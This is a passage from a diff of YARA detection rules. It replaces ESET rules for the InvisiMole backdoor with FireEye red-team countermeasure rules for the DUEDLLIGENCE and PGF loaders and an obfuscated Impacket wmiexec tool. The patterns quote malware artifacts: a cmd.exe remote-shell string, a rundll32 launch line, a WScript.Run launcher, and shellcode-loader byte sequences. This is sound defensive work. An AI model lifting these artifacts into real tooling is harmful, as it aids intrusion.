+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_1.yar#L5-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		logic_hash = "56237d686b954950849adeedc87d5f9fbff2335a0ff033ba8571b3e3b93f587c"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
 
 	strings:
-		$s1 = "WScr%steObject(\"WScr%s.Run(\"::{20d04fe0-3a%s30309d}\\\\::{21EC%sDD-08002B3030%s\", 0);"
-		$s2 = "\\Control.js" wide
-		$s3 = "\\Control Panel.lnk" wide
-		$s4 = "FPC 3.0.4 [2019/04/13] for x86_64 - Win64"
-		$s5 = "FPC 3.0.4 [2019/04/13] for i386 - Win32"
-		$s6 = "imageapplet.dat" wide
-		$s7 = "wkssvmtx"
+		$create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A }
+		$iz1 = /_Cor(Exe|Dll)Main/ fullword
+		$suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 }
 
 	condition:
-		uint16(0)==0x5A4D and (3 of them )
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
 import "pe"
 
-rule ESET_Apt_Windows_Invisimole_Wrapper_DLL
+rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_2 : FILE
 {
 	meta:
-		description = "Detects InvisiMole wrapper DLL with embedded RC2CL and RC2FM backdoors, by export and resource names"
-		author = "ESET Research"
-		id = "b9609b09-3ef5-5793-a3aa-4692cec367d9"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L120-L138"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "156bc5bc7b0ed5c77a5a15e7799a3077d40150896476a60935cf21a9afe36856"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "b10b476a-0d38-53e4-80cf-559618729268"
+		date = "2020-12-18"
+		modified = "2020-12-18"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_2.yar#L5-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		logic_hash = "5a2e0559e3b47c1957a42929fbbeba7a53c21619125381b01dcd8453b6ec4802"
 		score = 75
-		quality = 80
+		quality = 75
+		tags = "FILE"
+
+	strings:
+		$1 = "DueDLLigence" fullword
+		$2 = "CPlApplet" fullword
+		$iz1 = /_Cor(Exe|Dll)Main/ fullword
+
+	condition:
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+}
+rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_2
+{
+	meta:
+		description = "wmiexec"
+		author = "FireEye"
+		id = "f1059f66-eaff-5866-bafb-c94236cf96a0"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Wmiexec)/production/yara/HackTool_PY_ImpacketObfuscation_2.yar#L4-L21"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "f3dd8aa567a01098a8a610529d892485"
+		logic_hash = "ccbbe507798f16c7acf0780770fdb81b2e7dc333ab8bc51e6216816276c3f14b"
+		score = 75
+		quality = 75
 		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 2
+
+	strings:
+		$s1 = "import random"
+		$s2 = "class WMIEXEC" nocase
+		$s3 = "class RemoteShell" nocase
+		$s4 = /=[\x09\x20]{0,32}str\(int\(time\.time\(\)\)[\x09\x20]{0,32}-[\x09\x20]{0,32}random\.randint\(\d{1,10}[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,10}\)\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}str\(uuid\.uuid4\(\)\)\.split\([\x22\x27]\-[\x22\x27]\)\[0\]/
+		$s5 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
 
 	condition:
-		pe.exports("GetDataLength") and for any y in (0..pe.number_of_resources-1) : (pe.resources[y].type==pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string=="R\x00C\x002\x00C\x00L\x00") and for any y in (0..pe.number_of_resources-1) : (pe.resources[y].type==pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string=="R\x00C\x002\x00F\x00M\x00")
+		all of them
 }
-import "pe"
+rule FIREEYE_RT_APT_Loader_Win32_PGF_2 : FILE
+{
+	meta:
+		description = "base dlls: /lib/payload/techniques/dllmain/"
+		author = "FireEye"
+		id = "e11a626b-ce91-5f6c-a514-9a8a02a29cbd"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_2.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "04eb45f8546e052fe348fda2425b058c"
+		logic_hash = "d69f3f31c4964fe933295563e08bdbb36abadd6611541b9ffa55b6829ced1d21"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
-rule ESET_Apt_Windows_Invisimole_DNS_Downloader : FILE
+	strings:
+		$sb1 = { 6A ?? FF 15 [4-16] 8A ?? 04 [0-16] 8B ?? 1C [0-64] 0F 10 ?? 66 0F EF C8 0F 11 [0-32] 30 [2] 8D [2] 4? 83 [2] 7? }
+		$sb2 = { 8B ?? 08 [0-16] 6A 40 68 00 30 00 00 5? 6A 00 [0-32] FF 15 [4-32] 5? [0-16] E8 [4-64] C1 ?? 04 [0-32] 8A [2] 3? [2] 4? 3? ?? 24 ?? 7? }
+		$sb3 = { 8B ?? 3C [0-16] 03 [1-64] 0F B? ?? 14 [0-32] 83 ?? 18 [0-32] 66 3? ?? 06 [4-32] 68 [4] 5? FF 15 [4-16] 85 C0 [2-32] 83 ?? 28 0F B? ?? 06 }
+
+	condition:
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+}
+rule FIREEYE_RT_APT_Loader_MSIL_PGF_2 : FILE
 {
 	meta:
-		description = "InvisiMole DNS downloader"
-		author = "ESET Research"
-		id = "1caa6c8b-3798-556e-835e-885b7f3f4511"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L140-L170"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "88d6ed7ec1331153d19afc18473a4be2b214ad8af29fcf7051a2a8e40e088231"
+		description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py"
+		author = "FireEye"
+		id = "c5f2ec90-cd9b-53ce-893b-e44192fcd507"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_2.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "7c2a06ceb29cdb25f24c06f2a8892fba"
+		logic_hash = "b962ea30c063009c0383e25edda3a65202bea4496d0d6228549dcea82bba0d03"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$d = "DnsQuery_A"
-		$s1 = "Wireshark-is-running-{9CA78EEA-EA4D-4490-9240-FC01FCEF464B}" xor
-		$s2 = "AddIns\\" ascii wide xor
-		$s3 = "pcornomeex." xor
-		$s4 = "weriahsek.rxe" xor
-		$s5 = "dpmupaceex." xor
-		$s6 = "TCPViewClass" xor
-		$s7 = "PROCMON_WINDOW_CLASS" xor
-		$s8 = "Key%C"
-		$s9 = "AutoEx%C" xor
-		$s10 = "MSO~"
-		$s11 = "MDE~"
-		$s12 = "DNS PLUGIN, Step %d" xor
-		$s13 = "rundll32.exe \"%s\",StartUI"
+		$sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 }
+		$ss1 = "\x00CreateThread\x00"
+		$ss2 = "\x00ScriptObjectStackTop\x00"
+		$ss3 = "\x00Microsoft.JScript\x00"
 
 	condition:
-		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and $d and 5 of ($s*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
+rule FIREEYE_RT_APT_Loader_Win64_PGF_4 : FILE
+{
+	meta:
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "4c93ba76-d3a5-568d-88b8-79a6ebc2edbb"
+		date = "2020-11-26"
+		date = "2020-11-26"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_4.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "3bb34ebd93b8ab5799f4843e8cc829fa"
+		logic_hash = "fcc92674e58ec6418d7c709e3f3bc2e1ec859fe0cb444412964a978fb69f5234"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
-rule ESET_Apt_Windows_Invisimole_RC2CL_Backdoor : FILE
+	strings:
+		$sb1 = { 41 B9 04 00 00 00 41 B8 00 10 00 00 BA [4] B9 00 00 00 00 [0-32] FF [1-24] 7? [1-150] 8B 45 [0-32] 44 0F B? ?? 8B [2-16] B? CD CC CC CC [0-16] C1 ?? 04 [0-16] C1 ?? 02 [0-16] C1 ?? 02 [0-16] 48 8? 05 [4-32] 31 [1-4] 88 }
+		$sb2 = { C? 45 ?? 48 [0-32] B8 [0-64] FF [0-32] E0 [0-32] 41 B8 40 00 00 00 BA 0C 00 00 00 48 8B [2] 48 8B [2-32] FF [1-16] 48 89 10 8B 55 ?? 89 ?? 08 48 8B [2] 48 8D ?? 02 48 8B 45 18 48 89 02 }
+
+	condition:
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+}
+rule FIREEYE_RT_APT_Loader_Win32_PGF_5 : FILE
 {
 	meta:
-		description = "InvisiMole RC2CL backdoor"
-		author = "ESET Research"
-		id = "0228b8ee-bf03-504e-8cdf-8a1c9a79d54e"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L172-L213"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "c38550023515d33eaaf0669cc8b874bcfd09653a07c7edbf72e3344d1cf31541"
+		description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8"
+		author = "FireEye"
+		id = "376875f3-00f2-58d0-ae22-7f52ea566da2"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_5.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "8c91a27bbdbe9fb0877daccd28bd7bb5"
+		logic_hash = "dfff615a1d329cf181294f7b0a32c11a21d66ff8a6aa6b9fcd183c9738369623"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		rev = 3
+
+	strings:
+		$cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
+		$cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
+		$cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
+		$cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
+
+	condition:
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and any of them
+}
+rule FIREEYE_RT_APT_Loader_MSIL_PGF_1 : FILE
+{
+	meta:
+		description = "base.cs"
+		author = "FireEye"
+		id = "39d9821f-86e8-528a-a0a9-287dbe325484"
+		date = "2020-11-24"
+		date = "2020-11-24"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "a495c6d11ff3f525915345fb762f8047"
+		logic_hash = "4174ed53336f3951d26282dc81b99b2044ac6350d4b4c0074194a9b4acecefee"
 		score = 75
-		quality = 78
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$s1 = "RC2CL" wide
-		$s2 = "hp12KsNh92Dwd" wide
-		$s3 = "ZLib package %s: files: %d, total size: %d" wide
-		$s4 = "\\Un4seen" wide
-		$s5 = {9E 01 3A AD}
-		$s6 = "~mrc_" wide
-		$s7 = "~src_" wide
-		$s8 = "~wbc_" wide
-		$s9 = "zdf_" wide
-		$s10 = "~S0PM" wide
-		$s11 = "~A0FM" wide
-		$s12 = "~70Z63\\" wide
-		$s13 = "~E070C" wide
-		$s14 = "~N031E" wide
-		$s15 = "%szdf_%s.data" wide
-		$s16 = "%spicture.crd" wide
-		$s17 = "%s70zf_%s.cab" wide
-		$s18 = "%spreview.crd" wide
-		$s19 = "Value_Bck" wide
-		$s20 = "Value_WSFX_ZC" wide
-		$s21 = "MachineAccessStateData" wide
-		$s22 = "SettingsSR2" wide
+		$sb1 = { 72 [4] 6F [2] 00 0A 26 [0-16] 0? 6F [2] 00 0A [1-3] 0? 28 [2] 00 0A [0-1] 0? 72 [4-5] 0? 28 [2] 00 0A [0-1] 0? 6F [2] 00 0A 13 ?? 1? 13 ?? 38 [8-16] 91 [3-6] 8E 6? 5D 91 61 D2 9C 11 ?? 1? 58 13 [3-5] 8E 6? 3F }
 
 	condition:
-		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and 5 of ($s*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_Invisimole : FILE
+rule FIREEYE_RT_APT_Loader_Win32_PGF_4 : FILE
 {
 	meta:
-		description = "InvisiMole magic values, keys and strings"
-		author = "ESET Research"
-		id = "4d48996b-9792-57ba-a302-349220323712"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L215-L255"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "7a2cff9febe77d718089ba4e1a33f3487594588892e418cec685bf22b156fa2b"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "d46d9ae9-cb7d-5a25-9ee2-766097c14af6"
+		date = "2020-11-26"
+		date = "2020-11-26"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_4.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4414953fa397a41156f6fa4f9462d207"
+		logic_hash = "4256bfd3713f330d76cad9d1ddbba91e588dbca2e2b6842e9482525805ddc1e8"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$s1 = "CryptProtectData"
-		$s2 = "CryptUnprotectData"
-		$s3 = {9E 01 3A AD}
-		$s4 = "GET /getversion2a/%d%.2X%.2X/U%sN HTTP/1.1"
-		$s5 = "PULSAR_LOADER.dll"
-		$check_magic_old_32 = {3? F9 FF D0 DE}
-		$check_magic_old_64 = {3? 64 FF D0 DE}
-		$check_magic_new_32 = {81 3? 86 DA 11 CE}
-		$check_magic_new_64 = {81 3? 64 DA 11 CE}
+		$sb1 = { C7 44 24 0C 04 00 00 00 C7 44 24 08 00 10 00 00 [4-32] C7 04 24 00 00 00 00 [0-32] FF [1-16] 89 45 ?? 83 7D ?? 00 [2-150] 0F B? ?? 8B [2] B? CD CC CC CC 89 ?? F7 ?? C1 ?? 04 89 ?? C1 ?? 02 [0-32] 0F B? [5-32] 3? [1-16] 88 }
+		$sb2 = { C? 45 ?? B8 [0-4] C? 45 ?? 00 [0-64] FF [0-32] E0 [0-32] C7 44 24 08 40 00 00 00 [0-32] C7 44 24 04 07 00 00 00 [0-32] FF [1-64] 89 ?? 0F B? [2-3] 89 ?? 04 0F B? [2] 88 ?? 06 8B ?? 08 8D ?? 01 8B 45 0C }
 
 	condition:
-		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and ( any of ($check_magic*)) and (2 of ($s*))
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_Invisimole_C2 : FILE
+rule FIREEYE_RT_APT_Loader_Win64_PGF_2 : FILE
 {
 	meta:
-		description = "InvisiMole C&C servers"
-		author = "ESET Research"
-		id = "9279c8cd-2c16-5f90-a7f5-e668d57c805b"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L257-L297"
